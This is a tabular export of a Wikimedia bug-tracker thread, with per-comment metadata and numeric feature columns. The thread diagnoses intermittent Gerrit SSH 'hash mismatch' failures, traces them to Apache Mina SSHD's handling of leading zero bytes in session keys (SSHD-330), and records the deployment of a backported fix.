**Severity**: normal",High,80.0,1378584660,1404805916.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-uycqr5h5vgduf55buvs4,task_description,resolved,True,c1,3,False,False,False,9,,0.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,4.513888888888889,0.7361111111111112,"On translatewiki.net during running repoupdate script: Randomly the script bails out with

hash mismatch
key_verify failed for server_host_key
fatal: The remote end hung up unexpectedly
error: Could not fetch origin

This happens since migration of Gerrit to the new server two days ago.

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
246115,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"(In reply to christian from comment #28)
> Since this bug has been around for a while and has affected quite some
> people, I've been asked to give a short explanation of the root issue
> and what SSHD-330 does.
> 
> Gerrit uses Apache Mina's SSHD [1] as ssh server. When connecting to
> gerrit through ssh, this ssh server uses Java's own crypto/security
> implementations to negotiate session keys (i.e.: different for each
> connection attempt) with the client. Java's default provider yielded
> those session keys without leading zero bytes, and Apache Mina's SSHD
> relied on no leading zero bytes being present.
> 
> But at some point Java [2] changed behaviour and is no longer
> stripping leading zero bytes, but Apache Mina SSHD still relied on no
> leading zero bytes being present. Hence assumptions mismatched and
> caused the issue.
> 
> The Java we use at gerrit.wikimedia.org is recent enough to no longer
> strip leading zero bytes. So when connecting to our gerrit through
> ssh, either
> 
> * the negotiated session key starts with a non-zero byte, and
>   everything works nicely. This case happens most of the time.
> 
> * the negotiated session key starts with a zero byte. Then gerrit's
>   built-in Apache Mina SSHD falsely treats the key as if there were no
>   leading zero bytes and the connection setup with the client fails.
> 
> SSHD-330 adds stripping of leading zero bytes from the session key to
> Apache Mina SSHD and thereby fixes the issue we are seeing.
> 
> ------
> 
> There was recently some FUD around OpenSSL generated keys not being
> affected. That did not work for me, and I do not see in code how this
> would make a difference.
> 
> Also, there was some recent discussion around extracting the keys from
> the keystore to proper files. I did not get a chance to try that, but
> that could do the trick too ... indirectly.
> Because in order to get gerrit to use keys from separate files, one
> needs to install BouncyCastle libraries to gerrit. BouncyCastle will
> act as provider for the needed security/crypto functionality and
> get used instead of Java's default providers. As the BouncyCastle
> providers (for now) also strip the leading zero bytes, that could
> work out.
> 
> Regardless, having Apache Mina SSHD to strip leading zero bytes seems
> most reliable, so we backported the Apache Mina SSHD's upstream fix to
> the version used in our gerrit, and rebuilt gerrit using that custom
> built Apache Mina SSHD.
> 
> [1] https://mina.apache.org/sshd-project/
> [2] I know that OpenJDK versions up to
>   OpenJDK Runtime Environment (IcedTea7 2.2.1) (Gentoo build 1.7.0_05-b21)
> work and the default providers strip the leading zeros, while the ones from
>   OpenJDK Runtime Environment (IcedTea 2.4.7) (7u55-2.4.7-1ubuntu1~0.12.04.2)
> do not strip them.
> 
> 
> Thanks Krinkle for the pointer to SSHD-330!

And thank you for the analysis and the informative summary -- well done!",,,1404820885,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,53,,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,37.0,0.0,1.5,1.5,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.5,2.0,35.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1456430745814306,0.1933028919330289,"(In reply to christian from comment #28)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

And thank you for the analysis and the informative summary -- well done!"
246109,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',<3,,,1404820538,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,53,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,2.0,1.0,<3
246101,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',The fix has been deployed at gerrit.wikimedia.org.,,,1404805916,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,False,,,53,,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.0,The fix has been deployed at gerrit.wikimedia.org.
246093,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"Change 143388 merged by Chad:
Upgrade sshd to include the fix for hash mismatch

https://gerrit.wikimedia.org/r/143388",,,1404338417,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,False,,,52,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,17.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.388888888888889,1.0,"Change 143388 merged by Chad:
Upgrade sshd to include the fix for hash mismatch

GERRIT_URL"
246086,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"Since this bug has been around for a while and has affected quite some
people, I've been asked to give a short explanation of the root issue
and what SSHD-330 does.

Gerrit uses Apache Mina's SSHD [1] as ssh server. When connecting to
gerrit through ssh, this ssh server uses Java's own crypto/security
implementations to negotiate session keys (i.e.: different for each
connection attempt) with the client. Java's default provider yielded
those session keys without leading zero bytes, and Apache Mina's SSHD
relied on no leading zero bytes being present.

But at some point Java [2] changed behaviour and is no longer
stripping leading zero bytes, but Apache Mina SSHD still relied on no
leading zero bytes being present. Hence assumptions mismatched and
caused the issue.

The Java we use at gerrit.wikimedia.org is recent enough to no longer
strip leading zero bytes. So when connecting to our gerrit through
ssh, either

* the negotiated session key starts with a non-zero byte, and
  everything works nicely. This case happens most of the time.

* the negotiated session key starts with a zero byte. Then gerrit's
  built-in Apache Mina SSHD falsely treats the key as if there were no
  leading zero bytes and the connection setup with the client fails.

SSHD-330 adds stripping of leading zero bytes from the session key to
Apache Mina SSHD and thereby fixes the issue we are seeing.

------

There was recently some FUD around OpenSSL generated keys not being
affected. That did not work for me, and I do not see in code how this
would make a difference.

Also, there was some recent discussion around extracting the keys from
the keystore to proper files. I did not get a chance to try that, but
that could do the trick too ... indirectly.
Because in order to get gerrit to use keys from separate files, one
needs to install BouncyCastle libraries to gerrit. BouncyCastle will
act as provider for the needed security/crypto functionality and
get used instead of Java's default providers. As the BouncyCastle
providers (for now) also strip the leading zero bytes, that could
work out.

Regardless, having Apache Mina SSHD to strip leading zero bytes seems
most reliable, so we backported the Apache Mina SSHD's upstream fix to
the version used in our gerrit, and rebuilt gerrit using that custom
built Apache Mina SSHD.

[1] https://mina.apache.org/sshd-project/
[2] I know that OpenJDK versions up to
  OpenJDK Runtime Environment (IcedTea7 2.2.1) (Gentoo build 1.7.0_05-b21)
work and the default providers strip the leading zeros, while the ones from
  OpenJDK Runtime Environment (IcedTea 2.4.7) (7u55-2.4.7-1ubuntu1~0.12.04.2)
do not strip them.


Thanks Krinkle for the pointer to SSHD-330!",,,1404309484,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,False,,,52,,0.8333333333333334,0.16666666666666666,0.0,0.16666666666666666,0.8333333333333334,3.0,0.8333333333333334,0.16666666666666666,0.0,0.16666666666666666,1.8333333333333333,0.16666666666666666,0.0,0.0,0.5,1.6666666666666667,0.5,5.0,9.833333333333334,0.16666666666666666,1.8333333333333333,0.0,0.5,0.0,2.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.6666666666666666,3.6666666666666665,0.5,0.0,0.16666666666666666,0.0,0.16666666666666666,0.0,0.16666666666666666,0.3333333333333333,0.16666666666666666,0.16666666666666666,0.3333333333333333,2.6666666666666665,0.0,0.5,0.0,0.0,0.16666666666666666,12.833333333333334,0.6666666666666666,1.0,0.16666666666666666,0.3333333333333333,0.0,0.16666666666666666,0.0,0.3333333333333333,0.8333333333333334,0.0,0.16666666666666666,0.6666666666666666,0.0,0.0,0.16666666666666666,0.0,0.0,5.0,1.8333333333333333,11.666666666666666,1.3333333333333333,2.5,8.166666666666666,0.0,0.0,0.16666666666666666,0.0,3.5,0.0,3.6666666666666665,0.0,1.8333333333333333,9.833333333333334,8.166666666666666,0.0,0.0,0.0,1.8333333333333333,0.0,0.8333333333333334,1.0,0.3333333333333333,2.8333333333333335,0.3333333333333333,0.3333333333333333,1.0,4.039007092198582,0.6578014184397164,"Since this bug has been around for a while and has affected quite some
people, I've been asked to give a short explanation of the root issue
and what SSHD-330 does.

Gerrit uses Apache Mina's SSHD [1] as ssh server. When connecting to
gerrit through ssh, this ssh server uses Java's own crypto/security
implementations to negotiate session keys (i.e.: different for each
connection attempt) with the client. Java's default provider yielded
those session keys without leading zero bytes, and Apache Mina's SSHD
relied on no leading zero bytes being present.

But at some point Java [2] changed behaviour and is no longer
stripping leading zero bytes, but Apache Mina SSHD still relied on no
leading zero bytes being present. Hence assumptions mismatched and
caused the issue.

The Java we use at gerrit.wikimedia.org is recent enough to no longer
strip leading zero bytes. So when connecting to our gerrit through
ssh, either

* the negotiated session key starts with a non-zero byte, and
  everything works nicely. This case happens most of the time.

* the negotiated session key starts with a zero byte. Then gerrit's
  built-in Apache Mina SSHD falsely treats the key as if there were no
  leading zero bytes and the connection setup with the client fails.

SSHD-330 adds stripping of leading zero bytes from the session key to
Apache Mina SSHD and thereby fixes the issue we are seeing.

------

There was recently some FUD around OpenSSL generated keys not being
affected. That did not work for me, and I do not see in code how this
would make a difference.

Also, there was some recent discussion around extracting the keys from
the keystore to proper files. I did not get a chance to try that, but
that could do the trick too ... indirectly.
Because in order to get gerrit to use keys from separate files, one
needs to install BouncyCastle libraries to gerrit. BouncyCastle will
act as provider for the needed security/crypto functionality and
get used instead of Java's default providers. As the BouncyCastle
providers (for now) also strip the leading zero bytes, that could
work out.

Regardless, having Apache Mina SSHD to strip leading zero bytes seems
most reliable, so we backported the Apache Mina SSHD's upstream fix to
the version used in our gerrit, and rebuilt gerrit using that custom
built Apache Mina SSHD.

[1] URL
[2] I know that OpenJDK versions up to
  OpenJDK Runtime Environment (IcedTea7 2.2.1) (Gentoo build 1.7.0_05-b21)
work and the default providers strip the leading zeros, while the ones from
  OpenJDK Runtime Environment (IcedTea 2.4.7) (7u55-2.4.7-1ubuntu1~0.12.04.2)
do not strip them.


Thanks Krinkle for the pointer to SSHD-330!"
246077,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"I have upgraded Gerrit on my test instance integration-dev.eqiad.wmflabs . There is no more any hash mismatch triggered when running for a while:

while true; do ssh -p 29418 localhost; done;",,,1404293518,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,52,,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,6.0,8.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,8.0,6.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,8.0,6.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,3.0,3.0,0.0,0.0,4.5,0.9166666666666666,"I have upgraded Gerrit on my test instance integration-dev.eqiad.wmflabs . There is no more any hash mismatch triggered when running for a while:

while true; do ssh -p 29418 localhost; done;"
246068,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"(In reply to Antoine ""hashar"" Musso from comment #25)
> Christian could you possibly providee a gerrit.war  that has the patch ?

Sure. For the next 2 weeks, you can fetch it from

  http://quelltextlich.at/gerrit-2.8.1-4-ga1048ce.war

> I
> would like to test it out on the labs instance I am using for CI dev.

Seeing the description of SSHD-330 allowed me to come up with an environment
that allows to reproduce the bug. There, our deployed gerrit war failed for
14 of 10000 connection attempts. The war I linked above showed 0 failures for
10000 connection attempts.

^d already said he'll discuss deploying the war with greg-g. So we'll
hopefully see it live soon.",,,1404292325,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,False,,,52,,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,3.0,0.0,4.5,9.5,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.5,2.0,0.0,0.5,2.5,1.5,2.0,0.5,0.0,0.0,0.5,1.0,0.0,1.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,7.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,9.0,1.0,0.0,4.0,0.0,0.0,0.0,0.5,4.0,0.5,4.5,0.0,7.0,9.5,6.0,0.0,1.0,0.0,7.0,0.0,0.5,0.5,0.5,1.5,0.0,0.0,0.0,3.7488636363636365,0.7837662337662338,"(In reply to Antoine ""hashar"" Musso from comment #25)
QUOTE

Sure. For the next 2 weeks, you can fetch it from

  URL

QUOTE
QUOTE

Seeing the description of SSHD-330 allowed me to come up with an environment
that allows to reproduce the bug. There, our deployed gerrit war failed for
14 of 10000 connection attempts. The war I linked above showed 0 failures for
10000 connection attempts.

^d already said he'll discuss deploying the war with greg-g. So we'll
hopefully see it live soon."
246058,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',Christian could you possibly providee a gerrit.war  that has the patch ? I would like to test it out on the labs instance I am using for CI dev. Thanks!,,,1404290440,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,52,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,15.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,12.0,12.0,6.0,3.0,0.0,0.0,12.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,0.0,3.727272727272727,0.9393939393939394,Christian could you possibly providee a gerrit.war  that has the patch ? I would like to test it out on the labs instance I am using for CI dev. Thanks!
246050,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"Change 143388 had a related patch set uploaded by QChris:
Upgrade sshd to include the fix for hash mismatch

https://gerrit.wikimedia.org/r/143388",,,1404244147,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,False,,,52,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,17.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,13.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.434782608695652,1.0,"Change 143388 had a related patch set uploaded by QChris:
Upgrade sshd to include the fix for hash mismatch

GERRIT_URL"
246041,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"The description of the SSHD-330 issue explains pretty much every aspect of
the bug that we experienced.

From it's sporadic nature to the ways some people could reproduce, but others
couldn't.

I'll see to preparing a new gerrit release ... hopefully we can get something
deployed around that.",,,1404228694,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,False,,,52,,5.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,7.0,10.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,5.0,2.0,0.0,3.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,0.0,7.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.183333333333334,0.8,"The description of the SSHD-330 issue explains pretty much every aspect of
the bug that we experienced.

From it's sporadic nature to the ways some people could reproduce, but others
couldn't.

I'll see to preparing a new gerrit release ... hopefully we can get something
deployed around that."
246035,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"The google group topic mentioned this issue in Apache mina-sshd (upstream from Gerrit):

https://issues.apache.org/jira/browse/SSHD-330

Which has been fixed in https://git-wip-us.apache.org/repos/asf?p=mina-sshd.git;a=commit;h=2aed686bdb21681a421033c6ee5997e5cd8a9a83

If that is indeed the root issue, we them to make a minor release and Gerrit to upgrade to it.",,,1403876110,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,51,,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,14.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,16.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,14.0,16.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,3.693877551020408,0.8367346938775511,"The google group topic mentioned this issue in Apache mina-sshd (upstream from Gerrit):

URL

Which has been fixed in URL

If that is indeed the root issue, we them to make a minor release and Gerrit to upgrade to it."
246030,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"**paul.bourke** wrote:

Hi, I've been able to reproduce this on a local Gerrit instance quite reliably by running the following:

while true; do ssh <gerrit> -p 29418; done

A workaround that does work is to use the bouncy castle SSL library.  See the following thread for more info: https://groups.google.com/forum/#!topic/repo-discuss/JE7OM6o7DMs",,,1403176280,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,False,,,50,,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,9.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,12.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,3.0,10.0,1.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,1.0,3.0,0.0,1.0,9.0,6.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,3.0,1.0,0.0,3.0,3.611940298507463,0.8208955223880597,"**paul.bourke** wrote:

Hi, I've been able to reproduce this on a local Gerrit instance quite reliably by running the following:

while true; do ssh <gerrit> -p 29418; done

A workaround that does work is to use the bouncy castle SSL library.  See the following thread for more info: URL"
246027,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"Bartosz: there is no need more for more examples.  We have traces of those errors in Zuul log and it happens a couple time per day.

Marcin: we could tcpdump it if only we had a way to reliably reproduce the issue :-(",,,1403175765,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,50,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,6.0,0.0,4.0,12.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,2.0,8.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,10.0,12.0,4.0,0.0,0.0,0.0,10.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,3.5918367346938775,0.8775510204081632,"Bartosz: there is no need more for more examples.  We have traces of those errors in Zuul log and it happens a couple time per day.

Marcin: we could tcpdump it if only we had a way to reliably reproduce the issue :-("
246024,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"Two examples from just today:
* https://gerrit.wikimedia.org/r/#/c/139807/
* https://gerrit.wikimedia.org/r/#/c/140046/",,,1402965592,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,50,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9166666666666665,0.75,"Two examples from just today:
* URL
* URL"
246021,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',Today again: https://gerrit.wikimedia.org/r/#/c/139047/,,,1402587645,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,49,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Today again: URL
246017,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"Could somebody tcpdump it? It seems it me more like a broken (suddenly terminated) connection, probably occuring (mostly) early in the SSH negotiation phase.",,,1402531001,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,False,,,49,,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,10.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,13.0,6.0,3.0,3.0,0.0,0.0,13.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,4.32258064516129,0.9032258064516129,"Could somebody tcpdump it? It seems it me more like a broken (suddenly terminated) connection, probably occuring (mostly) early in the SSH negotiation phase."
